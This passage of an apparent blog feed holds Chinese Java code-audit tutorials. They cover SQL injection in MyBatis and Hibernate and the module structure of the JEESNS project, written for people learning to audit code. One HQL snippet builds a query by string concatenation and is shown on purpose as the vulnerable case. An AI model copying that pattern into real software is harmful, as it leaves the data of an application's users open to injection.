class="attr">id</span>=<span class="string">"selectStudentByStuId"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>&gt;</span></span><br><span class="line">    SELECT *</span><br><span class="line">    FROM student</span><br><span class="line">    WHERE stu_id = #&#123;stuId&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>两种方式有什么区别呢？接着看。</p><h2 id="（不安全的写法）"><a href="#（不安全的写法）" class="headerlink" title="${} （不安全的写法）"></a>${} <em>（不安全的写法）</em></h2><p>使用 <code>${foo}</code> 这样格式的传入参数会直接参与SQL编译，类似字符串拼接的效果，是存在SQL注入漏洞的。所以一般情况下，不会用这种方式绑定参数。</p><h2 id=""><a href="#" class="headerlink" title="#{}"></a>#{}</h2><p>使用 <code>#{}</code> 做参数绑定时， <code>MyBatis</code> 会将SQL语句进行预编译，避免SQL注入的问题。</p><p><code>MyBatis</code> 预编译模式的实现，在底层同样是依赖于 <code>java.sql.PreparedStatement</code>，所以 <code>PreparedStatement</code> 存在的问题，这里也会存在。</p><p><code>ORDER BY</code> 只能通过 <code>${}</code> 传递。为了避免SQL注入，需要手动过滤，或者在SQL里硬编码 <code>ORDER BY</code> 的字段名。</p><p>此外，还有一种情况 —— <code>LIKE</code> 模糊查询。</p><p>看下面这个写法：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByFuzzyQuery"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>&gt;</span></span><br><span class="line">    SELECT *</span><br><span class="line">    FROM student</span><br><span class="line">    WHERE student.stu_name</span><br><span class="line">            LIKE '%#&#123;stuName&#125;%'</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>在这里，<code>MyBatis</code> 会把 <code>%#{stuName}%</code> 作为要查询的参数，数据库会执行 <code>SELECT * FROM student WHERE student.stu_name LIKE &#39;%#{stuName}%&#39;</code>，导致查询失败，所以这里只能用 <code>${}</code> 的方式传入。而如果用 <code>${}</code> 又存在SQL注入的风险，怎么办呢？</p><p>最好的方法是，使用数据库自带的 <code>CONCAT</code> ，将 <code>%</code> 和我们用 <code>#{}</code> 传入参数连接起来，这样就既不存在注入的问题，也能满足需求啦。示例：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByFuzzyQuery"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>&gt;</span></span><br><span class="line">    SELECT *</span><br><span class="line">    FROM student</span><br><span class="line">    WHERE student.stu_name</span><br><span class="line">            LIKE CONCAT('%',#&#123;stuName&#125;,'%')</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><h1 id="Hibernate"><a href="#Hibernate" class="headerlink" title="Hibernate"></a>Hibernate</h1><p><code>Hibernate</code> 是一个高性能的 <code>ORM</code> 框架，可以自动生成 <code>SQL</code> 语句，通常与 <code>Struts</code>、<code>Spring</code> 一起搭配使用，也就是我们熟知的 <code>SSH</code> 框架。</p><p><code>Hibernate</code> 支持多种操作数据库的方式，包括原生的 <code>SQL</code>，以及自家的 <code>HQL</code>。</p><h2 id="原生SQL"><a href="#原生SQL" class="headerlink" title="原生SQL"></a>原生SQL</h2><p>原生 <code>SQL</code> 的注入和前面介绍过的注入都一样，都是拼接的问题，就不细讲了。这里介绍下 <code>Hibernate</code> 写原生 <code>SQL</code> 时，可能会用到的几种写法吧。</p><p>要使用原生 <code>SQL</code> ，都会调用到 <code>Sessions.createSQLQuery()</code> 方法。</p><p>下面看第一种写法，如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">session.beginTranscation();</span><br><span class="line">List list = session.createSQLQuery(<span class="string">"SELECT id,name FROM student"</span>).list();</span><br><span class="line">session.getTranscation().commit();</span><br><span class="line"></span><br><span class="line"><span class="comment">//list 是查询的结果，list里的元素由Object数组构成</span></span><br><span class="line"><span class="comment">//Object数组的每个元素代表一个字段，需要强转才能使用</span></span><br><span class="line">Object[] record = (Object[]) list.get(<span class="number">0</span>);</span><br><span class="line">System.out.println(<span class="string">"id="</span>+(Integer) record[<span class="number">0</span>]+<span class="string">",name="</span>+(String) record[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure><p>第二种，上面的例子中，<code>Hibernate</code> 会使用 <code>ResultSetMetadata</code> 返回的标量值的实际类型。但是如果过多使用它会降低程序性能，所以通常会用 <code>addScalar()</code> 提前指定返回值的类型。代码如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">List list = session.createSQLQuery(<span class="string">"SELECT id,stu_name FROM student"</span>)</span><br><span class="line">                   .addScalar(<span class="string">"id"</span>, StandardBasicTypes.INTEGER)</span><br><span class="line">                   .addScalar(<span class="string">"stu_name"</span>, StandardBasicTypes.STRING)</span><br><span class="line">                   .list();</span><br></pre></td></tr></table></figure><p>第三种，上面的两个例子，返回的都是标量结果集，但是 <code>Hibernate</code> 是一个 <code>ORM</code> 框架，我们希望通过它，直接将返回的数据映射成对象。那怎么写呢？其实，很简单。只要为每个类和表写一个映射关系，让 <code>Hibernate</code> 知道该怎么把查到的数据转换成对象就行了（映射关系是如何写的，请自行百度）。然后，调用 <code>addEntity()</code> 将查询结果和类绑定一下，代码如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List&lt;Student&gt; list = session.createSQLQuery(<span class="string">"SELECT * FROM student"</span>)</span><br><span class="line">                            .addEntity(Student.class)</span><br><span class="line">                            .list();</span><br></pre></td></tr></table></figure><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Student映射文件 --&gt;</span></span><br><span class="line">&lt;?xml version="1.0"?&gt;</span><br><span class="line"><span class="meta">&lt;!DOCTYPE hibernate-mapping PUBLIC</span></span><br><span class="line"><span class="meta">        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"</span></span><br><span class="line"><span class="meta">        "http://www.hibernate.org/dtd/hibernate-mapping-3.0.dtd"&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">hibernate-mapping</span> <span class="attr">package</span>=<span class="string">"edu.cuit.syclover.hibernate.Student"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">class</span> <span class="attr">name</span>=<span class="string">"edu.cuit.syclover.hibernate.Student"</span> <span class="attr">table</span>=<span class="string">"student"</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span> <span class="attr">name</span>=<span class="string">"id"</span> <span class="attr">column</span>=<span class="string">"id"</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuId"</span> <span class="attr">column</span>=<span class="string">"stu_id"</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuName"</span> <span class="attr">column</span>=<span class="string">"stu_name"</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuPassword"</span> <span class="attr">column</span>=<span class="string">"stu_password"</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">class</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">hibernate-mapping</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="HQL"><a href="#HQL" class="headerlink" title="HQL"></a>HQL</h2><p><code>HQL</code> 是 <code>Hibernate</code> 独有的面向对象的查询语言，接近 <code>SQL</code>。<code>Hibernate</code>引擎会对 <code>HQL</code> 进行解析，翻译成 <code>SQL</code>，再将 <code>SQL</code> 交给数据库执行。</p><p>关于 <code>HQL</code> 的注入，限制很多。</p><p><code>HQL</code> 的限制如下：</p><ol><li><p>不能查询未做映射的表，所以想跨库查系统表基本没有希望。</p><p> 很多地方说 <code>HQL</code> 不支持 <code>UNION</code>，其实是错误的。<code>Hibernate</code> 支持 <code>UNION</code> 的。但是，想要使用 <code>UNION</code>，必须在模型的关系明确后可以，这种情况比较少见，所以会导致 <code>UNION</code> 失败。</p></li><li><p>表名，列名大小写敏感，查询时使用的列名大小写必须和映射类的属性一致。</p></li><li><p>不能用 <code>*</code>, <code>#</code> , <code>--</code></p></li><li><p>无延时函数</p></li></ol><p>所以，利用 <code>HQL</code> 是比较极限的一件事情。</p><blockquote><p>本文不讨论如何 <code>HQL</code> 注入，想了解更多的注入手法，可以看<a href="https://www.freebuf.com/articles/web/33954.html" target="_blank" rel="noopener">这篇文章</a>。</p></blockquote><p><code>HQL</code> 会出现注入的地方还是在字符串拼接的时候，审计的时候看看 <code>SQL</code> 是不是用加号 <code>+</code> 的就行了。</p><p>比如这个例子：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">List&lt;Student&gt; studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = "</span> + stuId)</span><br><span class="line">                                   .list();</span><br></pre></td></tr></table></figure><p>下面来看看 <code>HQL</code> 能防注入的安全写法。</p><p>第一种，使用具名参数 <code>Named parameter</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List&lt;Student&gt; studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = :stuId"</span>)</span><br><span class="line">                                   .setParameter(<span class="string">"stuId"</span>,stuId)</span><br><span class="line">                                   .list();</span><br></pre></td></tr></table></figure><p>第二种，占位符 <code>Positional parameter</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List&lt;Student&gt; studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = ?"</span>)</span><br><span class="line">                                   .setParameter(stuId)</span><br><span class="line">                                   .list()</span><br></pre></td></tr></table></figure><p>这两种写法，和 <code>PreparesSatement</code> 的原理效果一样，都是以预编译的方式，通过参数绑定，将参数和 <code>SQL</code> 分离，保证 <code>SQL</code> 不被污染。</p><h1 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h1><ul><li><p><a href="https://www.cnblogs.com/lcngu/p/5918363.html" target="_blank" rel="noopener">https://www.cnblogs.com/lcngu/p/5918363.html</a></p></li><li><p><a href="https://www.w3cschool.cn/hibernate_articles/gapw1ioo.html" target="_blank" rel="noopener">https://www.w3cschool.cn/hibernate_articles/gapw1ioo.html</a> </p></li><li><p><a href="https://www.freebuf.com/articles/web/33954.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/33954.html</a></p></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;SQL注入是什么，有什么用，就不多介绍了。总结下漏洞的原因，主要是由于开发者对用户的输入没有做好过滤，直接将用户的输入带入到 SQL语句中，导致恶意用户可以控制服务器执行的SQL语句。&lt;/p&gt;
&lt;p&gt;在 Java 中，操作SQL的主要有以下几种方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;java.sql.Statement&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;java.sql.PrepareStatement&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;使用第三方 &lt;code&gt;ORM&lt;/code&gt; 框架 —— &lt;code&gt;MyBatis&lt;/code&gt; 或 &lt;code&gt;Hibernate&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;下面我们来分析以上几种执行SQL的方式。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="代码审计" scheme="https://jayl1n.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>从1开始的Java代码审计·第二弹·基础篇（下）</title>
    <link href="https://jayl1n.github.io/2018/10/29/java-audit-step-by-step-2/"/>
    <id>https://jayl1n.github.io/2018/10/29/java-audit-step-by-step-2/</id>
    <published>2018-10-29T05:45:39.000Z</published>
    <updated>2023-08-16T15:16:43.196Z</updated>
    
    <content type="html"><![CDATA[<p>我们在审计一个项目的时候，最开始应该是先熟悉项目的结构，了解项目的技术栈。</p><p>本篇，我会引入一个开源的 Java Web 项目，通过实例分析 Java Web 的项目结构，常用的 MVC 模式。</p><a id="more"></a><h1 id="JEESNS"><a href="#JEESNS" class="headerlink" title="JEESNS"></a>JEESNS</h1><p><a href="https://github.com/zchuanzhao/jeesns" target="_blank" rel="noopener">JEESNS</a>，是一款基于 JAVA 企业级平台研发的社交管理系统，在 github 上有 200+ star，在开源的 Java Web 项目中算是还不错的了。在本章及后面的内容，我会用它做实例，进行审计分析。</p><p>项目地址： <a href="https://github.com/zchuanzhao/jeesns" target="_blank" rel="noopener">https://github.com/zchuanzhao/jeesns</a></p><h2 id="下载项目"><a href="#下载项目" class="headerlink" title="下载项目"></a>下载项目</h2><p>你可以直接把项目 clone 下来，然后导入到 IDE。也可以直接在 IDEA 里把项目从 VCS（版本控制系统）中 checkout 出来。</p><p>下面我演示下，如何在 IDEA 里直接从 git 服务器上迁出项目。</p><ol><li><p>打开 IDEA，点<code>Check out from Version Control</code>，选择<code>Git</code>。<br><img src="/2018/10/29/java-audit-step-by-step-2/check1.png" alt="check1"></p></li><li><p>在弹出的 dialog 里，输入 git 的地址(<a href="https://github.com/zchuanzhao/jeesns.git)，以及本地保存的位置，然后`clone`。" target="_blank" rel="noopener">https://github.com/zchuanzhao/jeesns.git)，以及本地保存的位置，然后`clone`。</a><br><img src="/2018/10/29/java-audit-step-by-step-2/check2.png" alt="check2"></p></li><li><p>之后，IDEA 会开始下载项目，并构建，下面是构建完毕的项目工程。<br><img src="/2018/10/29/java-audit-step-by-step-2/check3.png" alt="check3"></p></li></ol><hr><h1 id="项目结构解析"><a href="#项目结构解析" class="headerlink" title="项目结构解析"></a>项目结构解析</h1><h2 id="Maven"><a href="#Maven" class="headerlink" title="Maven"></a>Maven</h2><h3 id="根目录下的-pom-xml"><a href="#根目录下的-pom-xml" class="headerlink" title="根目录下的 pom.xml"></a>根目录下的 pom.xml</h3><p>在项目的根目录下，有一个<code>pom.xml</code>的文件，这个文件的存在，表明项目是用<code>Maven</code>构建的，<a href="http://www.runoob.com/maven/maven-tutorial.html" target="_blank" rel="noopener">关于 Maven 可以点这里</a>。它是用来管理项目源码、配置文件，不过最大的用处还是处理<strong>项目的依赖关系</strong>。作用有点类似于 nodejs 的 npm，python 的 pip。</p><p>下面，点开这个<code>pom.xml</code>。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/maven1.png" alt="maven1"></p><p>红框的 ① 处，描述了这个项目的开发组织，项目名称，项目版本。</p><p>② 处，用的是<code>modules</code>标签，说明这是一个多模块项目。在左边的导航栏，可以看到确实有许多子模块。</p><blockquote><p>多模块项目是为了在项目开发中便于后期维护，所以采用分层开发的方法，这样各个模块的职责会比较的明确，维护起来相对容易。在打包时，只要对父模块打包即可，子模块会自动合并进来。</p></blockquote><p>③ 处，是 maven 在构建时相关的配置，这里用了一个 compiler 插件，表示源码用的是<code>1.7</code>的<code>JDK</code>并且生成的目标字节码文件也要是<code>1.7</code>的。</p><h3 id="子模块下的-pom-xml"><a href="#子模块下的-pom-xml" class="headerlink" title="子模块下的 pom.xml"></a>子模块下的 pom.xml</h3><p>点开每个子模块，看到每个模块下还会有一个<code>pom.xml</code>。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/maven2.png" alt="maven2"></p><p>随便点一个<code>pom.xml</code>，它和根目录下的<code>pom.xml</code>有所不同，多了一个<code>&lt;parent&gt;</code>标签，和<code>dependencies</code>。</p><p><code>&lt;parent&gt;</code>标签，表示这个子模块，将上级的<code>jeesns</code>项目作父模块。</p><p><code>dependencies</code>，描述了这个模块的依赖关系。当前的<code>web</code>模块依赖于子模块<code>core</code>,<code>model</code>,<code>service</code>,<code>common</code>。而子模块<code>core</code>里，依赖于许多的第三方库，包括<code>Spring</code>、<code>MyBatis</code>、<code>apache-commons</code>等。它们都继承了上级的<code>jeesns</code>父模块，在逻辑上同属一个项目。</p><blockquote><p>相关文章 <a href="https://www.cnblogs.com/davenkin/p/advanced-maven-multi-module-vs-inheritance.html" target="_blank" rel="noopener">https://www.cnblogs.com/davenkin/p/advanced-maven-multi-module-vs-inheritance.html</a></p></blockquote><h2 id="第三方库的安全检查"><a href="#第三方库的安全检查" class="headerlink" title="第三方库的安全检查"></a>第三方库的安全检查</h2><p>前面有说过，<code>pom.xml</code>有个重要的作用是管理依赖关系。在<code>&lt;dependencies&gt;</code>中填写要引入的第三方库信息，<code>Maven</code>在<code>import</code>时，会从<code>仓库</code>下载相关的库文件，加入到当前项目。</p><p>我们需要<code>&lt;dependencies&gt;</code>中，检查使用的第三方库是否有已知的安全漏洞。<br>这里只要根据组件名称、版本号，去官网或者<code>CVE</code>漏洞库搜下就行了。如果项目很大，引入了太多库，这也是件很累的事情。</p><p>所以 OWASP 出了一个工具 <a href="https://www.owasp.org/index.php/OWASP_Dependency_Check" target="_blank" rel="noopener"><code>Dependency_Check</code></a> 专门检查这类问题，这个工具的使用在前面一篇已经讲过了，就不多介绍了。</p><h2 id="子模块"><a href="#子模块" class="headerlink" title="子模块"></a>子模块</h2><p><code>JEESNS</code> 一共分了六个子模块，分别是 <code>jeesns-common</code>、<code>jeesns-core</code>、<code>jeesns-dao</code>、<code>jeesns-model</code>、<code>jeesns-service</code>、<code>jeesns-web</code>。</p><p>接下来，我们来分析各个子模块的作用。</p><h3 id="jeesns-core"><a href="#jeesns-core" class="headerlink" title="jeesns-core"></a>jeesns-core</h3><p>看名字就知道，这是这套 Web 程序的核心部分。</p><p>通过分析 <code>pom.xml</code> 文件，发现它引入了以下第三方库：</p><table><thead><tr><th>库名</th><th>用途</th></tr></thead><tbody><tr><td>spring-*</td><td>spring 框架相关</td></tr><tr><td>freemarker</td><td>前端模板引擎</td></tr><tr><td>httpclient</td><td>http 客户端</td></tr><tr><td>mysql-connector</td><td>mysql 连接器驱动</td></tr><tr><td>c3p0</td><td>数据库连接池</td></tr><tr><td>mybatis</td><td>半自动 ORM 框架</td></tr><tr><td>hibernate-validator</td><td>数据有效性验证</td></tr><tr><td>jackson</td><td>json 数据处理库</td></tr><tr><td>jsoup</td><td>html 解析器</td></tr><tr><td>log4j</td><td>日志管理框架</td></tr><tr><td>commons-io</td><td>io 工具类</td></tr><tr><td>commons-codec</td><td>编码处理工具类</td></tr><tr><td>commons-lang</td><td>Java 基本对象工具类</td></tr><tr><td>commons-fileupload</td><td>提供文件上传功能</td></tr><tr><td>commons-logging</td><td>提供 Java 日志接口</td></tr></tbody></table><p>根据上表，即使我们不看官方的介绍，也基本可以确定这套程序的技术栈。</p><p>主要使用了 <code>SSM框架</code> (Spring+SpringMVC+MyBatis)， <code>freemarker</code> 模板引擎，支持 <code>MySQL</code> 数据库，使用 <code>c3p0</code> 连接池，<code>jackson</code> 处理 <code>json</code> 数据，<code>hibernate-validator</code> 对用户传来的请求数据进行有效性验证，还有一些 <code>apache</code> 提供的工具类。</p><h4 id="包结构"><a href="#包结构" class="headerlink" title="包结构"></a>包结构</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">- core</span><br><span class="line"></span><br><span class="line">  - annotation 定义注解</span><br><span class="line"></span><br><span class="line">  - consts 定义常量</span><br><span class="line"></span><br><span class="line">  - directive 定义了一个抽象类 `BaseDirective` ，所有的标签类都会继承它</span><br><span class="line"></span><br><span class="line">  - dto 定义`响应结果`的数据传输模型</span><br><span class="line"></span><br><span class="line">  - enums 定义功能相关的常量</span><br><span class="line"></span><br><span class="line">  - exception 定义异常</span><br><span class="line"></span><br><span class="line">  - filter 定义过滤器，目前只有一个`XSS`过滤器</span><br><span class="line"></span><br><span class="line">  - handler 定义处理器，目前只有`DirectiveHandler`，负责处理每个页面的渲染</span><br><span class="line"></span><br><span class="line">  - model 定义了数据模型，这里只有`Page`，描述页面对象，用于数据分页情况</span><br><span class="line"></span><br><span class="line">  - utils 定义工具类</span><br><span class="line"></span><br><span class="line">+ interceptor</span><br><span class="line"></span><br><span class="line">  - PageInterceptor 分页拦截器，处理需要分页的请求。</span><br></pre></td></tr></table></figure><h4 id="模块小结"><a href="#模块小结" class="headerlink" title="模块小结"></a>模块小结</h4><p>通过分析 <code>jeesns-core</code> 的模块，我们已经知道了 <code>jeesns</code> 的技术栈，是目前比较流行的 <code>SSM</code> 框架，这个核心模块给整个项目构建了一个基本骨架，包括功能方面的还有我们关心的安全方面的（虽然只有 <code>XSS</code> 防御 <code>($ _ $)</code> ）。</p><p>在分析下面模块之前，我们需要先了解 <code>SSM</code> 的一些概念。<a href="https://www.cnblogs.com/zyw-205520/p/4771253.html" target="_blank" rel="noopener">参考文章</a></p><p>当然，最重要的还是要知道什么是 <code>MVC</code>，因为大部分的 <code>Web</code> 项目，都是基于这种<code>设计模式</code>开发的，包括 <code>JEESNS</code> 。<a href="https://blog.csdn.net/qq_26411021/article/details/79493340" target="_blank" rel="noopener">参考文章</a></p><blockquote><p>设计模式与编程语言无关，可以说是一套经验科学，由前人总结、分类，被广泛使用。目的是为了代码可重用性、让代码更容易被他人理解、保证代码可靠性。</p></blockquote><blockquote><blockquote><p><code>Java</code> 设计模式学习链接：<a href="https://github.com/AlfredTheBest/Design-Pattern" target="_blank" rel="noopener">https://github.com/AlfredTheBest/Design-Pattern</a></p></blockquote></blockquote><p>如果，你已经了解了<code>SSM</code>、<code>MVC</code>的概念，那就接着往下看吧 <code>O(∩_∩)O</code> 。</p><h3 id="jeesns-web"><a href="#jeesns-web" class="headerlink" title="jeesns-web"></a>jeesns-web</h3><p>对应 <code>MVC</code> 中的 <code>Controller</code> 层，负责具体业务的模块流程的控制，会调用到下面 <code>Service</code> 层的接口来控制业务流程。</p><p><code>webapp</code> 里是 <code>View</code> 层用到的静态资源（js、css、jpg）以及<code>freemarker</code>的模板文件。</p><p><code>resources</code> 里，有项目相关的各种配置文件。</p><h4 id="模块小结-1"><a href="#模块小结-1" class="headerlink" title="模块小结"></a>模块小结</h4><p><code>Controller</code> 层和 <code>View</code> 层结合的最紧密，两者通常协同开发。</p><p>这里的 <code>Controller</code> 层还设置了<code>监听器</code>，负责对用户的身份和权限进行认证管理。</p><blockquote><p>通常在 Java Web 里，我们会用 <code>Spring-Security</code> 或 <code>Shiro</code> 这些第三方库来帮助我们实现<strong>用户认证和用户授权</strong>的功能 。</p></blockquote><h3 id="jeesns-service"><a href="#jeesns-service" class="headerlink" title="jeesns-service"></a>jeesns-service</h3><p><code>Service</code> 层，主要负责业务模块的应用逻辑应用设计，先设计接口，在设计实现类。这一层，是纯业务逻辑。在使用 <code>Service</code> 层时，会继续调用下面的 <code>DAO</code> 层的接口。</p><h3 id="jeesns-dao"><a href="#jeesns-dao" class="headerlink" title="jeesns-dao"></a>jeesns-dao</h3><p><code>DAO</code> 层，负责数据持久化，通俗点说就是用来和数据库交互，读写数据的模块。</p><p>前面有说到，<code>JEESNS</code> 用了 <code>MyBatis</code> 作为数据持久化框架。<code>MyBatis</code> 属于半自动 <code>ORM</code> ，它会帮我们自动将数据查询结果映射到对象，但是数据查询的 <code>SQL</code> 语句还是要我们自己手写，这点和其它的 <code>ORM</code> 明显的不一样。</p><p><code>MyBatis</code> 的使用方式主要有两种，一种是使用<code>注解</code>，直接将<code>SQL</code>语句和<code>方法</code>绑定在一起，像下面这样：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.mybatis.example;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">BlogMapper</span> </span>&#123;</span><br><span class="line">  <span class="meta">@Select</span>(<span class="string">"SELECT * FROM blog WHERE id = #&#123;id&#125;"</span>)</span><br><span class="line">  <span class="function">Blog <span class="title">selectBlog</span><span class="params">(<span class="keyword">int</span> id)</span></span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种方式，适合简单的<code>SQL</code>语句，一旦语句长了，注释会变得复杂混乱，维护起来很麻烦，所以它只适合小项目（小项目用的也不多）。</p><p>用的最多的是第二种——<code>XML</code>配置，将<code>SQL</code>语句和<code>Java</code>代码分离，有独立的<code>xml</code>文件，描述某个方法会和某个<code>SQL</code>语句绑定。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/mybatis1.png" alt="mybatis1"></p><p>如图，每一个接口，在资源文件目录中，都有对应的<code>xml</code>。接口中的方法，和<code>xml</code>中<code>id</code>相同的<code>SQL</code>语句关联。</p><p>例如，<code>IArticleCateDao</code> 的 <code>list()</code>方法被调用，那么就会找到 <code>ArticleCateMapper.xml</code>中 <code>id</code>等于 <code>list</code> 的方法，执行它的 <code>SQL</code>，然后根据 <code>resultMap</code> 描述的 <em>字段-属性</em> 映射关系，返回相应的实例对象。</p><p>这里的 <code>resultMap</code> 具体如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">id</span>=<span class="string">"ArticleCateResult"</span> <span class="attr">type</span>=<span class="string">"ArticleCate"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">id</span> <span class="attr">column</span>=<span class="string">"id"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"id"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">"fid"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"fid"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">"name"</span> <span class="attr">jdbcType</span>=<span class="string">"VARCHAR"</span> <span class="attr">property</span>=<span class="string">"name"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">"status"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"status"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">"sort"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"sort"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br></pre></td></tr></table></figure><p>其中，<code>id</code>属性是该映射的名称，<code>type</code>属性代表映射的类。里面有 <code>5</code> 个子元素，<code>id</code>元素映射到<code>ArticleCate</code>的<code>id</code>属性。其它四个<code>result</code>元素中的<code>column</code>属性会映射到对应的<code>property</code>属性。</p><h4 id="模块小结-2"><a href="#模块小结-2" class="headerlink" title="模块小结"></a>模块小结</h4><p><code>dao</code> 模块负责数据的持久化，会和数据库交互。开发者编写的<code>SQL</code>语句也定义在这个模块，<code>MyBatis</code>有特殊的语法将查询的参数代入到<code>SQL</code>语句中，如果开发者在这里使用的语法有问题，就有极有可能出现 <code>SQL注入</code>。</p><h3 id="jeesns-model"><a href="#jeesns-model" class="headerlink" 